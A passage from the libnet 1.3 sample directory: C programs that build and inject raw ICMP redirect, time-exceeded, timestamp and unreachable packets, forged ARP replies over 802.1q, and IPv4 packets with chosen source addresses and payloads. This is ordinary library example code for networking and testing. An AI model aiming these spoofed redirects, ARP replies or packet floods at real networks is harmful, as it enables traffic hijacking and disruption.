dst_ip, /* source IP */ src_ip, /* destination IP */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build error IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_icmpv4_redirect( ICMP_REDIRECT, /* type */ ICMP_REDIRECT_HOST, /* code */ 0, /* checksum */ gw_ip, NULL, 0, l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_REDIRECT_H + LIBNET_IPV4_H + payload_s, /* length */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ 0xee, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ethernet( enet_dst, /* ethernet destination */ enet_src, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip -g gateway_ip\n ", name); } libnet-1.3/sample/icmp_timeexceed.c0000664000175000017500000001524014506572036015631 0ustar syqsyq/* * $Id: icmp_timeexceed.c,v 1.3 2004/03/16 18:40:58 mike Exp $ * * libnet 1.1 * Build an ICMP timeexceed packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; libnet_t *l; libnet_ptag_t t; u_long src_ip, dst_ip; u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; u_long payload_s = 8; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: ICMP timeexceed[link]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; while((c = getopt(argc, argv, "d:s:")) != EOF) { switch (c) { case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(1); } break; } } if (!src_ip || !dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_ipv4( LIBNET_IPV4_H + payload_s, /* length */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ 0xee, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ dst_ip, /* source IP */ src_ip, /* destination IP */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build error IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_icmpv4_timeexceed( ICMP_TIMXCEED, /* type */ ICMP_TIMXCEED_INTRANS, /* code */ 0, /* checksum */ NULL, 0, l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_TIMXCEED_H + LIBNET_IPV4_H + payload_s, /* length */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ 0xee, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ethernet( enet_dst, /* ethernet destination */ enet_src, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name); } libnet-1.3/sample/icmp_timestamp.c0000664000175000017500000001240114506572036015514 0ustar syqsyq/* * $Id: icmp_timestamp.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build an ICMP_TSTAMP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; libnet_t *l; libnet_ptag_t t; u_long src_ip, dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: ICMP timestamp[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; while((c = getopt(argc, argv, "d:s:")) != EOF) { switch (c) { case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(1); } break; } } if (!src_ip || !dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_icmpv4_timestamp( ICMP_TSTAMP, /* type */ 0, /* code */ 0, /* checksum */ 242, /* id */ 424, /* sequence number */ 1000, /* otime */ 2000, /* rtime */ 3000, /* ttime */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip\n ", name); } libnet-1.3/sample/icmp_unreach.c0000664000175000017500000001604214506572036015143 0ustar syqsyq/* * $Id: icmp_unreach.c,v 1.4 2004/03/16 18:40:59 mike Exp $ * * libnet 1.1 * Build an ICMP unreachable packet * * Hacked by Frederic Raynal to illustrate * the new API of ICMP error messages fixing Aaron's bugs. * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c, i; libnet_t *l = NULL; libnet_ptag_t ip_err = 0, icmp = 0, ip = 0, eth = 0; u_long src_ip, dst_ip; u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; u_long payload_s = 8; int mode = LIBNET_LINK; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: ICMP unreachable[link]\n"); src_ip = 0; dst_ip = 0; while((c = getopt(argc, argv, "d:s:r")) != EOF) { switch (c) { case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(1); } break; case 'r': mode = LIBNET_RAW4; break; } } if (!src_ip || !dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } /* * Initialize the library. Root priviledges are required. */ l = libnet_init( mode, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } for (i=0; i<255; i++) { ip_err = libnet_build_ipv4( LIBNET_IPV4_H + payload_s, /* o length */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* o IP tos */ (uint16_t)i, /* o IP ID */ 0, /* o frag */ 64, /* o TTL */ IPPROTO_UDP, /* o protocol */ 0, /* o checksum */ dst_ip, /* o source IP */ src_ip, /* o destination IP */ payload, /* payload */ payload_s, /* payload size */ l, ip_err); if (ip_err == -1) { fprintf(stderr, "Can't build error IPv4 header: %s\n", libnet_geterror(l)); goto bad; } icmp = libnet_build_icmpv4_unreach( ICMP_UNREACH, /* type */ ICMP_UNREACH_PORT, /* code */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ icmp); if (icmp == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H + LIBNET_IPV4_H + payload_s, /* length */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ (uint16_t)i + 1, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ ip); if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } if (mode == LIBNET_LINK) { eth = libnet_build_ethernet( enet_dst, /* ethernet destination */ enet_src, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ eth); /* libnet id */ if (eth == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } } /* * Write it to the wire. */ libnet_diag_dump_pblock(l); c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); } } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s [-r] -s source_ip -d destination_ip\n ", name); } libnet-1.3/sample/ieee.c0000664000175000017500000001435014506572036013415 0ustar syqsyq/* * $Id: ieee.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build an ieee 802.1q/ARP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c, len, do_802_2; u_long i; libnet_t *l; libnet_ptag_t t; u_char *dst, *src, oui[3]; char *device = NULL; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: ieee[802.1q / 802.2 / ARP]\n"); do_802_2 = 0; device = NULL; src = dst = NULL; while ((c = getopt(argc, argv, "8d:i:s:")) != EOF) { switch (c) { case '8': do_802_2 = 1; break; case 'd': dst = libnet_hex_aton(optarg, &len); break; case 'i': device = optarg; break; case 's': src = libnet_hex_aton(optarg, &len); break; } } if (src == NULL || dst == NULL) { fprintf(stderr, "usage %s -d dst -s src [-8 ] [-i interface]\n", argv[0]); exit(EXIT_FAILURE); } /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } i = libnet_get_ipaddr4(l); t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ ARPOP_REPLY, /* operation type */ src, /* sender hardware addr */ (u_char *)&i, /* sender protocol addr */ dst, /* target hardware addr */ (u_char *)&i, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l)); goto bad; } if (do_802_2) { memset(&oui, 0, 3); t = libnet_build_802_2snap( 0xaa, /* SNAP DSAP */ 0xaa, /* SNAP SSAP */ 0, /* control */ oui, /* oui */ ETHERTYPE_ARP, /* ARP header follows */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build 802.2 header: %s\n", libnet_geterror(l)); goto bad; } } t = libnet_build_802_1q( dst, /* dest mac */ src, /* source mac */ ETHERTYPE_VLAN, /* TPI */ 0x006, /* priority (0 - 7) */ 0x001, /* CFI flag */ 0x100, /* vid (0 - 4095) */ do_802_2 ? LIBNET_802_2SNAP_H + LIBNET_ARP_ETH_IP_H : 0x0806, NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build 802.1q header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte 802.1q packet; check the wire.\n", c); } free(dst); free(src); libnet_destroy(l); return (EXIT_SUCCESS); bad: free(dst); free(src); libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/ip_link.c0000664000175000017500000001375714506572036014145 0ustar syqsyq/* * * libnet 1.1 * Build a IPv4 packet with what you want as payload * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * Ex: * - send an UDP packet from port 4369 to port 8738 * ./ip -s 1.1.1.1 -d 2.2.2.2 * * - send a TCP SYN from port 4369 to port 8738 * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"` * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; libnet_t *l; char *device = NULL; char *dst = "2.2.2.2", *src = "1.1.1.1"; char *hwdst = "22:22:22:22:22:22", *hwsrc = "11:11:11:11:11:11"; u_long src_ip, dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ip_ptag = 0; libnet_ptag_t eth_ptag = 0; u_short proto = IPPROTO_UDP; u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; u_long payload_s = 8; printf("libnet 1.1 packet shaping: IP + payload[link]\n"); while ((c = getopt(argc, argv, "d:s:D:S:tp:i:h")) != EOF) { switch (c) { case 'D': hwdst = optarg; break; case 'S': hwsrc = optarg; break; case 'd': dst = optarg; break; case 's': src = optarg; break; case 'i': device = optarg; break; case 't': proto = IPPROTO_TCP; break; case 'p': strncpy((char *)payload, optarg, sizeof(payload)-1); payload_s = strlen((char *)payload); break; case 'h': usage(argv[0]); exit(EXIT_SUCCESS); default: exit(EXIT_FAILURE); } } /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ device, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } printf("Using device %s\n", l->device); if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", dst); exit(EXIT_FAILURE); } if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", src); exit(EXIT_FAILURE); } /* * Build the packet */ ip_ptag = libnet_build_ipv4( LIBNET_IPV4_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ proto, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ ip_ptag); /* libnet id */ if (ip_ptag == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } eth_ptag = libnet_build_ethernet( (uint8_t *)hwdst, /* ethernet destination */ (uint8_t *)hwsrc, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (eth_ptag == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s [-s source_ip] [-d destination_ip]" " [-S HW src] [-D HW dst]" " [-i iface] [-p payload] [-t]\n", name); } libnet-1.3/sample/ip_raw.c0000664000175000017500000001222114506572036013762 0ustar syqsyq/* * * libnet 1.1 * Build a IPv4 packet with what you want as payload * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * Ex: * - send an UDP packet from port 4369 to port 8738 * ./ip -s 1.1.1.1 -d 2.2.2.2 * * - send a TCP SYN from port 4369 to port 8738 * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"` * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; libnet_t *l; char *device = NULL; char *dst = "2.2.2.2", *src = "1.1.1.1"; u_long src_ip, dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ip_ptag = 0; u_short proto = IPPROTO_UDP; u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; u_long payload_s = 8; printf("libnet 1.1 packet shaping: IP + payload[raw]\n"); /* * handle options */ while ((c = getopt(argc, argv, "d:s:tp:i:h")) != EOF) { switch (c) { case 'd': dst = optarg; break; case 's': src = optarg; break; case 'i': device = optarg; break; case 't': proto = IPPROTO_TCP; break; case 'p': strncpy((char *)payload, optarg, sizeof(payload)-1); payload_s = strlen((char *)payload); break; case 'h': usage(argv[0]); exit(EXIT_SUCCESS); default: exit(EXIT_FAILURE); } } /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ device, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } printf("Using device %s\n", l->device); if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", dst); exit(EXIT_FAILURE); } if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", src); exit(EXIT_FAILURE); } /* * Build the packet */ ip_ptag = libnet_build_ipv4( LIBNET_IPV4_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ proto, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ ip_ptag); /* libnet id */ if (ip_ptag == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s [-s source_ip] [-d destination_ip]" " [-i iface] [-p payload] [-t]\n", name); } libnet-1.3/sample/isl.c0000664000175000017500000001243314506572036013275 0ustar syqsyq/* * $Id: isl.c,v 1.2 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build an ISL packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * 